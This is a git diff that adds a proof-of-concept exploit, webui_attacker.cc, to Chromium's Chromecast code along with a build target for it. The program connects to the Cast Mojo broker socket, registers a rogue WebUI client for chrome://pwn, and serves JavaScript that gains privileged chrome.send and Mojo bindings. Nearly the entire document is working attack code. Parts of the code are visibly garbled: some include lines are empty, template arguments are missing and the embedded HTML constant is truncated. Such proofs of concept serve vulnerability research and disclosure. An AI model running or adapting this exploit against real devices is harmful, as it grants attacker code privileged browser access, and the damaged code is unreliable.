diff --git a/chromecast/external_mojo/external_service_support/BUILD.gn b/chromecast/external_mojo/external_service_support/BUILD.gn index 4c1eb75423879..4fbc0773434f1 100644 --- a/chromecast/external_mojo/external_service_support/BUILD.gn +++ b/chromecast/external_mojo/external_service_support/BUILD.gn @@ -123,3 +123,19 @@ executable("standalone_mojo_broker") { "//mojo/core/embedder", ] } + +executable("webui_attacker") { + sources = [ "webui_attacker.cc" ] + deps = [ + ":external_service", + "//base", + "//chromecast/browser:base_types", + "//chromecast/browser/mojom", + "//chromecast/browser/webui/mojom", + "//chromecast/external_mojo/public/cpp:common", + "//mojo/core/embedder", + "//mojo/public/cpp/bindings", + "//services/network/public/cpp", + "//url", + ] +} diff --git a/chromecast/external_mojo/external_service_support/webui_attacker.cc b/chromecast/external_mojo/external_service_support/webui_attacker.cc new file mode 100644 index 0000000000000..5af47c336b8e3 --- /dev/null +++ b/chromecast/external_mojo/external_service_support/webui_attacker.cc @@ -0,0 +1,252 @@ +// POC: External-process attacker that abuses CastWebService::RegisterWebUiClient +// to obtain WebUI bindings (chrome.send / privileged Mojo) for attacker-served +// JavaScript inside a chrome://-locked renderer. +// +// Flow: +// 1. Connect to the cast_shell external Mojo broker Unix socket +// (/tmp/cast_mojo_broker, mode 0770, no peer-UID check). +// 2. BindInterface("cast_browser", "chromecast.mojom.CastWebService"). +// 3. RegisterWebUiClient(, hosts=["pwn"]). +// 4. CreateWebView() -> CastWebContents. +// 5. CastWebContents.LoadUrl("chrome://pwn"). +// 6. cast_shell calls back into our WebUiClient/Resources to fetch page bytes; +// we return HTML/JS that calls chrome.send() and sets document.title. +// 7. We register a WebUI message callback "pwned" via WebUi.RegisterMessageCallback. +// When chrome.send("pwned", [...]) fires, we receive the args here -> proof. + +#include + +#include +#include +#include +#include + +#include "base/at_exit.h" +#include "base/command_line.h" +#include "base/feature_list.h" +#include "base/files/file_descriptor_watcher_posix.h" +#include "base/functional/bind.h" +#include "base/json/json_writer.h" +#include "base/logging.h" +#include "base/logging/logging_settings.h" +#include "base/memory/ref_counted_memory.h" +#include "base/message_loop/message_pump_type.h" +#include "base/run_loop.h" +#include "base/task/single_thread_task_executor.h" +#include "base/task/thread_pool/thread_pool_instance.h" +#include "base/values.h" +#include "chromecast/browser/mojom/cast_content_window.mojom.h" +#include "chromecast/browser/mojom/cast_web_contents.mojom.h" +#include "chromecast/browser/mojom/cast_web_service.mojom.h" +#include "chromecast/browser/web_types.h" +#include "chromecast/browser/webui/mojom/webui.mojom.h" +#include "chromecast/external_mojo/external_service_support/external_connector.h" +#include "chromecast/external_mojo/public/cpp/common.h" +#include "mojo/core/embedder/embedder.h" +#include "mojo/core/embedder/scoped_ipc_support.h" +#include "mojo/public/cpp/bindings/pending_receiver.h" +#include "mojo/public/cpp/bindings/pending_remote.h" +#include "mojo/public/cpp/bindings/receiver.h" +#include "mojo/public/cpp/bindings/receiver_set.h" +#include "mojo/public/cpp/bindings/remote.h" +#include "services/network/public/cpp/renderer_process_id.h" +#include "url/gurl.h" + +namespace { + +// Default WebUI CSP is "script-src chrome://resources 'self';" so inline +// )"; + +// The payload JS. It probes for WebUI-only bindings (chrome.send) and reports +// via document.title (observed through CastWebContentsObserver::UpdateTitle) +// and via chrome.send("pwned", ...) which round-trips back to this process. +constexpr char kJs[] = R"JS( +(function() { + var hasChromeSend = (typeof chrome !== 'undefined' && + typeof chrome.send === 'function'); + var hasMojo = (typeof Mojo !== 'undefined'); + var msg = 'PWNED chrome.send=' + hasChromeSend + + ' Mojo=' + hasMojo + + ' origin=' + location.origin; + document.title = msg; + console.log(msg); + if (hasChromeSend) { + try { chrome.send('pwned', [msg]); } catch (e) { + document.title = msg + ' send-threw:' + e; + } + } +})(); +)JS"; + +class AttackerResources : public chromecast::mojom::Resources { + public: + void RequestResourceBytes(const std::string& path, + RequestResourceBytesCallback cb) override { + LOG(INFO) << "[attacker] RequestResourceBytes path='" << path << "'"; + std::string body; + if (path.find("pwn.js") != std::string::npos) { + body = kJs; + } else { + body = kHtml; + } + std::move(cb).Run(base::MakeRefCounted(body)); + } +}; + +class AttackerMessageCallback : public chromecast::mojom::MessageCallback { + public: + void OnMessage(base::ListValue list) override { + std::string json; + base::JSONWriter::Write(list, &json); + LOG(ERROR) << "*** [attacker] chrome.send('pwned') ROUND-TRIP: " << json; + LOG(ERROR) << "*** WebUI bindings granted to attacker-served JS. ***"; + } +}; + +class AttackerWebUiClient : public chromecast::mojom::WebUiClient { + public: + void CreateController( + const std::string& host, + mojo::PendingRemote web_ui, + mojo::PendingReceiver resources) override { + LOG(INFO) << "[attacker] CreateController host=" << host; + res_receivers_.Add(&resources_, std::move(resources)); + web_ui_.Bind(std::move(web_ui)); + // Register a WebUI message callback so chrome.send("pwned", ...) in the + // attacker page calls back into this process. + mojo::PendingRemote cb_remote; + cb_receivers_.Add(&callback_, cb_remote.InitWithNewPipeAndPassReceiver()); + web_ui_->RegisterMessageCallback("pwned", std::move(cb_remote)); + } + + void CreateResources( + const std::string& host, + mojo::PendingReceiver resources) override { + LOG(INFO) << "[attacker] CreateResources host=" << host; + res_receivers_.Add(&resources_, std::move(resources)); + } + + private: + AttackerResources resources_; + AttackerMessageCallback callback_; + mojo::ReceiverSet res_receivers_; + mojo::ReceiverSet cb_receivers_; + mojo::Remote web_ui_; +}; + +class AttackerObserver : public chromecast::mojom::CastWebContentsObserver { + public: + void PageStateChanged(chromecast::PageState state) override { + LOG(INFO) << "[attacker] PageStateChanged " << static_cast(state); + } + void PageStopped(chromecast::PageState state, int32_t err) override { + LOG(INFO) << "[attacker] PageStopped state=" << static_cast(state) + << " err=" << err; + } + void RenderFrameCreated(network::RendererProcessId pid, + int32_t rfid) override {} + void MainFrameFinishedNavigation() override { + LOG(INFO) << "[attacker] MainFrameFinishedNavigation"; + } + void UpdateTitle(const std::string& title) override { + LOG(ERROR) << "*** [attacker] document.title = '" << title << "'"; + } + void UpdateFaviconURL(const GURL&) override {} + void DidFirstVisuallyNonEmptyPaint() override {} + void ResourceLoadFailed() override { + LOG(INFO) << "[attacker] ResourceLoadFailed"; + } + void OnRenderProcessReady(int32_t pid) override { + LOG(INFO) << "[attacker] renderer pid=" << pid; + } + void MediaPlaybackChanged(bool) override {} + void InnerContentsCreated( + mojo::PendingRemote) override {} +}; + +class Attacker { + public: + void Run() { + LOG(INFO) << "[attacker] connecting to broker at " + << chromecast::external_mojo::GetBrokerPath(); + connector_ = chromecast::external_service_support::ExternalConnector::Create( + chromecast::external_mojo::GetBrokerPath()); + + connector_->BindInterface("cast_browser", + web_service_.BindNewPipeAndPassReceiver(), + /*async=*/false); + web_service_.set_disconnect_handler(base::BindOnce([] { + LOG(ERROR) << "[attacker] CastWebService pipe closed"; + })); + + // Step 1: register our WebUiClient for host "pwn". + mojo::PendingRemote client_remote; + client_receiver_.Bind(client_remote.InitWithNewPipeAndPassReceiver()); + web_service_->RegisterWebUiClient(std::move(client_remote), + std::vector{"pwn"}); + LOG(INFO) << "[attacker] RegisterWebUiClient(hosts=['pwn']) sent"; + + // Step 2: create a WebView. + auto params = chromecast::mojom::CastWebViewParams::New(); + params->activity_id = "attacker"; + params->log_js_console_messages = true; + params->log_prefix = "[attacker-page]"; + web_service_->CreateWebView(std::move(params), + web_contents_.BindNewPipeAndPassReceiver(), + window_.BindNewPipeAndPassReceiver()); + + mojo::PendingRemote obs_remote; + obs_receiver_.Bind(obs_remote.InitWithNewPipeAndPassReceiver()); + web_contents_->AddObserver(std::move(obs_remote)); + + // Step 3: navigate to chrome://pwn -> our factory matches -> CastWebUI is + // created with full WebUI bindings -> our Resources serve the page bytes. + web_contents_->LoadUrl(GURL("chrome://pwn/")); + LOG(INFO) << "[attacker] LoadUrl(chrome://pwn/) sent"; + } + + private: + std::unique_ptr + connector_; + mojo::Remote web_service_; + mojo::Remote web_contents_; + mojo::Remote window_; + + AttackerWebUiClient client_; + mojo::Receiver client_receiver_{&client_}; + AttackerObserver observer_; + mojo::Receiver obs_receiver_{ + &observer_}; +}; + +} // namespace + +int main(int argc, char** argv) { + base::AtExitManager exit_manager; + base::CommandLine::Init(argc, argv); + logging::LoggingSettings ls; + ls.logging_dest = logging::LOG_TO_SYSTEM_DEBUG_LOG | logging::LOG_TO_STDERR; + logging::InitLogging(ls); + logging::SetLogItems(true, true, true, false); + base::FeatureList::InitInstance("", ""); + signal(SIGPIPE, SIG_IGN); + + base::SingleThreadTaskExecutor io_task_executor(base::MessagePumpType::IO); + base::FileDescriptorWatcher watcher(io_task_executor.task_runner()); + base::RunLoop run_loop; + mojo::core::Init(); + mojo::core::ScopedIPCSupport ipc_support( + io_task_executor.task_runner(), + mojo::core::ScopedIPCSupport::ShutdownPolicy::CLEAN); + base::ThreadPoolInstance::CreateAndStartWithDefaultParams("attacker"); + + Attacker attacker; + attacker.Run(); + + run_loop.Run(); + return 0; +}